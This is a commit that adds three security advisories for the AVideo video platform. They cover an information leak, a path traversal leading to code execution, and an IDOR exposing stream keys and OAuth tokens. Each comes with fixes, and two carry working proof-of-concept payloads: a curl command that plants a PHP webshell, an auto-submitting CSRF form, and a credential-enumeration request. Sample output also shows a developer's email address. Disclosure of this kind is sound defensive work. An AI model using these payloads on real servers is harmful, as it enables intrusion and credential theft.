Skip to content

Commit c30f216

Browse files

File tree

5 files changed

+258
-5
lines changed

5 files changed

+258
-5
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-52hf-63q4-r926",
4+
"modified": "2026-04-14T22:49:25Z",
5+
"published": "2026-04-14T22:49:25Z",
6+
"aliases": [],
7+
"summary": "WWBN AVideo has an Unauthenticated Information Disclosure via git.json.php Exposes Developer Emails and Deployed Version",
8+
"details": "## Summary\n\nThe file `git.json.php` at the web root executes `git log -1` and returns the full output as JSON to any unauthenticated user. This exposes the exact deployed commit hash (enabling version fingerprinting against known CVEs), developer names and email addresses (PII), and commit messages which may contain references to internal systems or security fixes.\n\n## Details\n\n`git.json.php` is a standalone PHP script with no authentication, no session validation, and no framework bootstrap. It directly executes a shell command and returns the result:\n\n```php\n// git.json.php — complete file\n<?php\nheader('Content-Type: application/json');\n$cmd = \"git log -1\";\nexec($cmd . \" 2>&1\", $output, $return_val);\n\n$obj = new stdClass();\n$obj->output = $output;\n\nforeach ($output as $value) {\n preg_match(\"/Date:(.*)/i\", $value, $match);\n if (!empty($match[1])) {\n $obj->date = strtotime($match[1]);\n $obj->dateString = trim($match[1]);\n $obj->dateMySQL = date(\"Y-m-d H:i:s\", $obj->date);\n }\n}\n\necho json_encode($obj);\n```\n\nThe file does not `require` any configuration or authentication module. It is not protected by `.htaccess` rules. The endpoint is directly accessible to any network client.\n\nThe exposed data enables:\n1. **Version fingerprinting**: The commit hash identifies the exact deployed version, allowing attackers to cross-reference the project's public git history against known CVEs (AVideo has 22 published GHSAs) to determine which vulnerabilities remain unpatched on a given instance.\n2. **Developer PII leakage**: Author name and email from the git commit are exposed. On self-hosted instances, this may reveal internal/corporate email addresses not otherwise publicly available.\n3. **Commit message intelligence**: Commit messages may reference internal bug trackers, security fixes in progress, or infrastructure details.\n\n## PoC\n\n```bash\n# Single unauthenticated request — no cookies, no headers needed\ncurl -s https://target.example/git.json.php | python3 -m json.tool\n```\n\nVerified response from test instance:\n```json\n{\n \"output\": [\n \"commit 80a8af96e861cff45cd80fdd2478d00b2c07749e\",\n \"Author: Daniel Neto <me@danielneto.com>\",\n \"Date: Wed Apr 8 16:07:23 2026 -0300\",\n \"\",\n \" fix: Update payment response handling to include transaction token and URL\"\n ],\n \"date\": 1775675243,\n \"dateString\": \"Wed Apr 8 16:07:23 2026 -0300\",\n \"dateMySQL\": \"2026-04-08 19:07:23\"\n}\n```\n\n## Impact\n\n- Any unauthenticated remote attacker can determine the exact deployed version and identify which known CVEs (22 published GHSAs for AVideo) apply to the target instance.\n- Developer email addresses are leaked, enabling targeted phishing or social engineering against project maintainers and contributors.\n- Commit messages may disclose internal project details, security fix status, or infrastructure information.\n\n## Recommended Fix\n\nDelete `git.json.php` entirely — it serves no user-facing purpose and exists only as a development/debug artifact:\n\n```bash\nrm git.json.php\n```\n\nIf version display is needed for administrators, gate it behind authentication:\n\n```php\n<?php\nrequire_once 'videos/configuration.php';\nif (!User::isAdmin()) {\n header('HTTP/1.1 403 Forbidden');\n die(json_encode(['error' => 'Forbidden']));\n}\nheader('Content-Type: application/json');\n$cmd = \"git log -1\";\nexec($cmd . \" 2>&1\", $output, $return_val);\n\n$obj = new stdClass();\n$obj->output = $output;\n\nforeach ($output as $value) {\n preg_match(\"/Date:(.*)/i\", $value, $match);\n if (!empty($match[1])) {\n $obj->date = strtotime($match[1]);\n $obj->dateString = trim($match[1]);\n $obj->dateMySQL = date(\"Y-m-d H:i:s\", $obj->date);\n }\n}\n\necho json_encode($obj);\n```",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "wwbn/avideo"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "29.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-52hf-63q4-r926"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/WWBN/AVideo"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-200"
49+
],
50+
"severity": "MODERATE",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-14T22:49:25Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6rc6-p838-686f",
4+
"modified": "2026-04-14T22:49:48Z",
5+
"published": "2026-04-14T22:49:48Z",
6+
"aliases": [],
7+
"summary": "WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)",
8+
"details": "## Summary\n\nThe locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution.\n\n## Details\n\nIn `locale/save.php`, the vulnerable code path is:\n\n```php\n// locale/save.php:10 — only auth check, no CSRF token\nif (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {\n // ...\n die(json_encode($obj));\n}\n\n// locale/save.php:16 — base directory\n$dir = \"{$global['systemRootPath']}locale/\";\n\n// locale/save.php:30 — UNSANITIZED path concatenation\n$file = $dir.($_POST['flag']).\".php\";\n$myfile = fopen($file, \"w\") or die(\"Unable to open file!\");\n\n// locale/save.php:40 — UNSANITIZED content write\nfwrite($myfile, $_POST['code']);\n```\n\n**Root cause**: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory.\n\nThe file content is constructed as:\n```php\n<?php\nglobal $t;\n{$_POST['code']} // attacker-controlled, written verbatim\n```\n\nAn attacker can inject arbitrary PHP after closing the translation context (e.g., `$t[\"x\"]=1;?><?php system($_GET[\"c\"]);`).\n\n**CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.\n\n## PoC\n\n**Direct exploitation (requires admin session):**\n\n```bash\n# Step 1: Write a webshell outside locale/ to the webroot\ncurl -b 'PHPSESSID=<admin_session>' \\\n -X POST 'https://target/locale/save.php' \\\n -d 'flag=../../webshell&code=$t[\"x\"]=1;?><%3fphp+system($_GET[\"c\"]);'\n\n# Step 2: Execute commands via the written webshell\ncurl 'https://target/webshell.php?c=id'\n# Response: uid=33(www-data) gid=33(www-data) ...\n```\n\n**CSRF variant (no direct admin access needed):**\n\nHost the following HTML on an attacker-controlled site and lure an admin to visit:\n\n```html\n<html>\n<body>\n<form method=\"POST\" action=\"https://target/locale/save.php\">\n <input type=\"hidden\" name=\"flag\" value=\"../../webshell\">\n <input type=\"hidden\" name=\"code\" value='$t[\"x\"]=1;?><?php system($_GET[\"c\"]);'>\n</form>\n<script>document.forms[0].submit();</script>\n</body>\n</html>\n```\n\nAfter the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE.\n\n## Impact\n\n- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.\n- **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.\n- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.\n\n## Recommended Fix\n\nSanitize the `flag` parameter to prevent path traversal and add CSRF protection:\n\n```php\n// locale/save.php — after the admin check at line 14\n\n// Add CSRF token validation\nif (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {\n $obj->status = 0;\n $obj->error = __(\"Invalid token\");\n die(json_encode($obj));\n}\n\n// Sanitize flag to prevent path traversal\n$flag = basename($_POST['flag']); // strip directory components\nif (empty($flag) || preg_match('/[^a-zA-Z0-9_\\-]/', $flag)) {\n $obj->status = 0;\n $obj->error = __(\"Invalid locale flag\");\n die(json_encode($obj));\n}\n\n$file = $dir . $flag . \".php\";\n\n// Verify resolved path is within expected directory\n$realDir = realpath($dir);\n$realFile = realpath(dirname($file)) . '/' . basename($file);\nif (strpos($realFile, $realDir) !== 0) {\n $obj->status = 0;\n $obj->error = __(\"Invalid file path\");\n die(json_encode($obj));\n}\n```\n\nAdditionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "wwbn/avideo"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "29.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f"
40+
},
41+
{
42+
"type": "PACKAGE",
43+
"url": "https://github.com/WWBN/AVideo"
44+
}
45+
],
46+
"database_specific": {
47+
"cwe_ids": [
48+
"CWE-22"
49+
],
50+
"severity": "HIGH",
51+
"github_reviewed": true,
52+
"github_reviewed_at": "2026-04-14T22:49:48Z",
53+
"nvd_published_at": null
54+
}
55+
}
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gpgp-w4x2-h3h7",
4+
"modified": "2026-04-14T22:49:05Z",
5+
"published": "2026-04-14T22:49:05Z",
6+
"aliases": [],
7+
"summary": "WWBN AVideo has an IDOR in Live Restreams list.json.php Exposes Other Users' Stream Keys and OAuth Tokens",
8+
"details": "## Summary\n\nThe endpoint `plugin/Live/view/Live_restreams/list.json.php` contains an Insecure Direct Object Reference (IDOR) vulnerability that allows any authenticated user with streaming permission to retrieve other users' live restream configurations, including third-party platform stream keys and OAuth tokens (access_token, refresh_token) for services like YouTube Live, Facebook Live, and Twitch.\n\n## Details\n\nThe authorization logic in `list.json.php` is intended to restrict non-admin users to viewing only their own restream records. However, the implementation at lines 10-14 only enforces this when the `users_id` GET parameter is absent:\n\n```php\n// plugin/Live/view/Live_restreams/list.json.php:6-19\nif (!User::canStream()) {\n die('{\"data\": []}');\n}\n\nif (empty($_GET['users_id'])) { // Line 10: only triggers when param is MISSING\n if (!User::isAdmin()) {\n $_GET['users_id'] = User::getId(); // Line 12: force to own ID\n }\n}\n\nif (empty($_GET['users_id'])) {\n $rows = Live_restreams::getAll();\n} else {\n $rows = Live_restreams::getAllFromUser($_GET['users_id'], \"\"); // Line 19: attacker-controlled ID\n}\n```\n\nWhen a non-admin user explicitly supplies `?users_id=<victim_id>`, the value is non-empty, so the override at line 12 is never reached. The attacker-controlled ID passes directly to `getAllFromUser()`, which executes:\n\n```php\n// plugin/Live/Objects/Live_restreams.php:90\n$sql = \"SELECT * FROM live_restreams WHERE users_id = $users_id\";\n```\n\nThis returns all columns from the `live_restreams` table, including:\n- `stream_key` (VARCHAR 500) — the victim's RTMP stream key for third-party platforms\n- `stream_url` (VARCHAR 500) — the RTMP ingest endpoint\n- `parameters` (TEXT) — JSON blob containing OAuth credentials (`access_token`, `refresh_token`, `expires_at`) obtained via the restream.ypt.me OAuth flow\n\nOther endpoints in the same directory correctly validate ownership. For example, `delete.json.php:19`:\n```php\nif (!User::isAdmin() && $row->getUsers_id() != User::getId()) {\n $obj->msg = \"You are not admin\";\n die(json_encode($obj));\n}\n```\n\nThis ownership check is missing from `list.json.php`.\n\n## PoC\n\n**Prerequisites:** Two user accounts — attacker (user ID 2, streaming permission) and victim (user ID 1, has configured restreams with third-party platform keys).\n\n**Step 1:** Attacker authenticates and retrieves their session cookie.\n\n**Step 2:** Attacker requests victim's restream list:\n```bash\ncurl -s -b 'PHPSESSID=<attacker_session>' \\\n 'https://target.com/plugin/Live/view/Live_restreams/list.json.php?users_id=1'\n```\n\n**Expected response (normal behavior):** Empty data or error.\n\n**Actual response:** Full restream records for user ID 1:\n```json\n{\n \"data\": [\n {\n \"id\": 1,\n \"name\": \"YouTube Live\",\n \"stream_url\": \"rtmp://a.rtmp.youtube.com/live2\",\n \"stream_key\": \"xxxx-xxxx-xxxx-xxxx-xxxx\",\n \"parameters\": \"{\\\"access_token\\\":\\\"ya29.a0A...\\\",\\\"refresh_token\\\":\\\"1//0e...\\\",\\\"expires_at\\\":1712600000}\",\n \"users_id\": 1,\n \"status\": \"a\"\n }\n ]\n}\n```\n\n**Step 3:** Attacker can enumerate all user IDs (1, 2, 3, ...) to harvest all configured restream credentials across the platform.\n\n## Impact\n\n- **Credential theft:** Attacker obtains third-party platform stream keys and OAuth tokens (access_token, refresh_token) for all users who have configured live restreaming.\n- **Unauthorized broadcasting:** Stolen RTMP stream keys allow the attacker to broadcast arbitrary content to the victim's YouTube, Facebook, or Twitch channels.\n- **OAuth token abuse:** Stolen refresh tokens can be used to obtain new access tokens, providing persistent access to the victim's third-party accounts within the scope of the original OAuth grant.\n- **Full enumeration:** User IDs are sequential integers, enabling trivial enumeration of all platform users' restream credentials.\n\n## Recommended Fix\n\nAdd an ownership check in `list.json.php` consistent with the pattern used in `delete.json.php` and `add.json.php`:\n\n```php\n// plugin/Live/view/Live_restreams/list.json.php — replace lines 10-14\nif (!User::isAdmin()) {\n $_GET['users_id'] = User::getId();\n}\n```\n\nThis unconditionally forces non-admin users to their own user ID, regardless of whether the `users_id` parameter was supplied. The `empty()` check should be removed so that the parameter cannot be used to bypass the restriction.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "Packagist",
19+
"name": "wwbn/avideo"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"last_affected": "29.0"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gpgp-w4x2-h3h7"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/WWBN/AVideo/commit/d5992fff2811df4adad1d9fc7d0a5837b882aed7"
44+
},
45+
{
46+
"type": "PACKAGE",
47+
"url": "https://github.com/WWBN/AVideo"
48+
}
49+
],
50+
"database_specific": {
51+
"cwe_ids": [
52+
"CWE-639"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-14T22:49:05Z",
57+
"nvd_published_at": null
58+
}
59+
}

0 commit comments

Comments
 (0)